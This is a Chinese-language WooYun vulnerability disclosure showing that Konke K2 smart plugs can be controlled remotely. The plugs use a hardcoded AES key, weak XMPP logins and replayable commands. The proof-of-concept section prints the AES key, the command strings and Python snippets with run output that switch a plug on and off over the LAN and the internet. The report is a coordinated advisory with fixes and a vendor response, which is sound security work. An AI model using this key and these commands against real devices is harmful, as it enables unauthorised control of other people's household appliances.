当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118325

漏洞标题:智能设备安全之小k2代智能插座可被远程控制

相关厂商:ikonke.com

漏洞作者: 只抽红梅

提交时间:2015-06-04 23:40

修复时间:2015-07-20 09:08

公开时间:2015-07-20 09:08

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-04: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商已经确认,细节仅向厂商公开
2015-06-15: 细节向核心白帽子及相关领域专家公开
2015-06-25: 细节向普通白帽子公开
2015-07-05: 细节向实习白帽子公开
2015-07-20: 细节向公众公开

简要描述:

想象一下:
一个夏日炎炎的夜晚,你在一个开着空调的房间里面和女神吃着火锅唱着歌,嗨的不得了的时候,“啪”,空调断电了,然后你和女神都好热……
原来是空调插在智能插座上,智能插座被人远程控制了。等等,是被远程控制了吗?好吧,我们先忽略到底是谁在控制智能插座,就让我们单纯的来谈谈智能插座的安全问题。

详细说明:

小 K 二代智能插座是杭州控客科技出品的,在功能上已经有点真正智能设备的意思了,可以本地/远程管理,可以添加计划任务,还能够 WIFI 增强等等等等。
对插座进行管理可以控制插座通电/断电,控制小夜灯开关,获取电量统计信息等,可以通过本地和远程进行操作。
本地走的是 WIFI,直接发 UDP 包给插座; 远程走的是互联网,通过控客科技的服务器作为中间人进行通讯;
在移动终端上抓包进行查看,本地管理数据包如下:

k2_udp.png


可以看到是直接向插座的 27431 端口发送 UDP 包,发送的数据如下,内容肯定是加密后的:

fd918a5e209499ed755e9457d6196a6a544020c43c746870d59506d611dfbd3ddf7bff0f396714ae5cf7b41c1624e3c7453d832564e07dd3df60bfc5dddfdb78


远程管理数据包如下:

k2_xmpp.png


这个很明显是走的 xmpp 协议,插座和 app 互为 xmpp 协议中的客户端,两者互为好友,通过“聊天”进行对话。发送的数据如下,虽然是 base64 编码,但是解码后仍然是加密后的数据:

encryption:TTept6iU8Jd5mhOCirsW49yugxvzMfdB2Vxnl812nhE+Zh6xY5hpUXa/tKXKi3uYuSHMUsFoMmKWoVX4y9jOpQ==


怎么知道这个是什么加密方式呢?逆向 app 和插座固件中的程序肯定能找到。事情的发展往往带有转折,我不会逆向啊。。。
算了,装着会的样子,下载了 k2 的固件通过 firmware-mod-kit 进行解包,找到了固件中的几个程序 kkeps_off, kkeps_on 等几个程序,通过 strings 简单过滤下,没发现有用的信息。再把 android 的 app 下载下来,反编译在代码中发现了 AES 加密相关的代码,并且发现具体的加密代码封装在了 libCommunSmartPlug-jni.so 文件中,再拿 strings 来试试,发现有 aes 相关的字符串

aes_set_key
aes_encrypt
aes_decrypt


看来能够确定是 aes 加密了,但是密钥呢,不知道。
在逆向的过程中磕磕绊绊的发现,插座登录 xmpp 服务器的帐号密码均为插座的 mac 地址,app 登录 xmpp 服务器的帐号密码均为一串 token 值 d4ab52e1-9fcc-4567-8dfe-ef733aaece4f。
不过瘦娇舞在对 android 程序进行调试的时候是可以拿到每个操作指令的明文的。大概如下:

wan_phone%d4ab52e1-9fcc-4567-8dfe-ef733aaece4f%nopassword%open%relay
wan_phone%d4ab52e1-9fcc-4567-8dfe-ef733aaece4f%nopassword%close%relay
wan_phone%d4ab52e1-9fcc-4567-8dfe-ef733aaece4f%nopassword%open%light
wan_phone%d4ab52e1-9fcc-4567-8dfe-ef733aaece4f%nopassword%close%light
……


明文中并没有什么特殊的内容,在测试中也发现通过对相同,不同的智能插座重放这些数据是可以对设备进行操作的。这样来看其实对智能插座的攻击方法就比较清楚了。
1. 在局域网内可以直接对智能插座发送操作指令的密文数据对插座进行管理;
2. 在互联网内可以通过一个 xmpp 客户端模拟 app 登录到 xmpp 服务器,直接通过聊天的方式对插座发送操作指令的密文数据对插座进行管理;
后来发现一篇文章,如下
http://bobao.360.cn/learning/detail/163.html
主要对小 k 一代进行了安全分析,在这篇文章中再次确定加密方式是 aes,并且作者逆向得到了 aes 的密钥,由于是小 k 一代,抱着试试的心态用这个密钥对我之前获取到的密文数据进行解密。天呐,他竟然解开了。他竟然解开了。他竟然解开了。重要的事情说三遍。
有了密钥就更加方便了,我们能够还原每一次通讯的密文数据,也能够对明文数据进行修改再通过密钥加密。

漏洞证明:

分别写了两个程序来对该漏洞进行演示,远程对智能插座进行控制。
一、本地通讯程序,在局域网内只要知道插座的 IP,就能够对插座进行管理,关键代码:
aes 加密相关

class K2AES(object):
def __init__(self):
self.key = 'fdsl;mewrjope456fds4fbvfnjwaugfo'
self.aes = AES.new(self.key)
def decrypt(self, data):
return self.aes.decrypt(data)
def encrypt(self, data):
data = data + '\00' * (16 - len(data) % 16)
return self.aes.encrypt(data)


插座操作指令

command = {
"power_on": "lan_phone%28-d9-8a-03-12-0d%nopassword%open%relay",
"power_off": "lan_phone%28-d9-8a-03-12-0d%nopassword%close%relay",
"light_on": "lan_phone%28-d9-8a-03-12-0d%nopassword%open%light",
"light_off": "lan_phone%28-d9-8a-03-12-0d%nopassword%close%light",
"timer": "lan_phone%28-d9-8a-03-12-0d%nopassword%check#total%timer"
}


操作演示

$ python k2_lan.py 192.168.199.157 power_on                               ✘
lan_device%28-d9-8a-03-12-0d%nopassword%open%rack
$ python k2_lan.py 192.168.199.157 power_off
lan_device%28-d9-8a-03-12-0d%nopassword%close%rack
$ python k2_lan.py 192.168.199.157 light_on
lan_device%28-d9-8a-03-12-0d%nopassword%open%lack
$ python k2_lan.py 192.168.199.157 light_off
lan_device%28-d9-8a-03-12-0d%nopassword%close%lack
$ python k2_lan.py 192.168.199.157 timer
lan_device%28-d9-8a-03-12-0d%nopassword%check#0#2015-06-04-23:13:43#SW_VER5.9.7#HW_VER2.0%tack


btw:代码中操作指令中间的 mac 地址要和目标插座的 mac 地址一致
二、远程通讯程序,在互联网内只要知道插座的 mac 地址即可,我们都知道,mac 地址前面一部分代表厂家,同一厂家都一样只有后面有区别,我自己的两个插座的 mac 地址只有后面两部分不同,所以我们有可能预测出别人的 mac 地址。一旦知道别人的 mac 地址我们就能够通过下面过程对目标插座进行远程管理,首先我们需要通讯双方互为好友,其实这个完全可以通过程序自动猜测 mac 地址,然后自动添加好友。操作的相关关键代码如下:
aes 加密相关

class K2AES(object):
def __init__(self):
self.key = 'fdsl;mewrjope456fds4fbvfnjwaugfo'
self.aes = AES.new(self.key)
def decrypt(self, data):
return self.aes.decrypt(base64.b64decode(data))
def encrypt(self, data):
data = data + '\00' * (16 - len(data) % 16)
return base64.b64encode(self.aes.encrypt(data))


插座操作指令

command = {
"power_on": "wan_phone%d4ab52e1-9fcc-4567-8dfe-ef733aaece4f%nopassword%open%relay",
"power_off": "wan_phone%d4ab52e1-9fcc-4567-8dfe-ef733aaece4f%nopassword%close%relay",
"light_on": "wan_phone%d4ab52e1-9fcc-4567-8dfe-ef733aaece4f%nopassword%open%light",
"light_off": "wan_phone%d4ab52e1-9fcc-4567-8dfe-ef733aaece4f%nopassword%close%light"
}


操作演示

$ python k2_wan.py 28-d9-8a-03-12-0d power_off
WARNING:pyxmpp2.resolver:Could not resolve '_xmpp-client._tcp.kankun- smartplug.com': NXDOMAIN
INFO:root:-- Resolving SRV record of 'xmpp-client' for 'kankun-smartplug.com'...
INFO:root:-- Resolving address of 'kankun-smartplug.com'...
INFO:root:-- Connecting to 123.103.13.252:5222...
INFO:root:-- Connected to 123.103.13.252:5222
INFO:root:-- Connected to kankun-smartplug.com
INFO:root:-- Got stream features
INFO:root:-- Authenticated: d4ab52e1-9fcc-4567-8dfe-ef733aaece4f@kankun-smartplug.com
INFO:root:-- Connected to kankun-smartplug.com
INFO:root:-- Got stream features
INFO:root:-- Binding resource 'iPhone'
INFO:root:-- Authorized: d4ab52e1-9fcc-4567-8dfe-ef733aaece4f@kankun-smartplug.com/iPhone
INFO:root:-- Roster received (0 items)
INFO:root:-- receive message 'wan_device%28-d9-8a-03-12-0d%nopassword%close%rack' from JID(u'28-d9-8a-03-12-0d@kankun-smartplug.com/device')
INFO:root:-- Disconnected from ('123.103.13.252', 5222)


btw:代码中操作指令中间的那段字符串要和操作用户的 xmpp 用户名址一致,否则收不到插座回复的消息,其实不影响操作。使用了 pyxmpp2 这个库。
我没有对我的 mac 地址进行打码,别乱控制我插座。

修复方案:

1. aes 密钥是不是要换一换?
2. 插座和 app 中 xmpp 的登录密码是不是要加强一些?
3. 或者在操作指令中加上一些一次性的东西,避免加密数据能够重放?

版权声明:转载请注明来源 只抽红梅@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-06-05 09:07

厂商回复:

该漏洞已经修复

最新状态:

暂无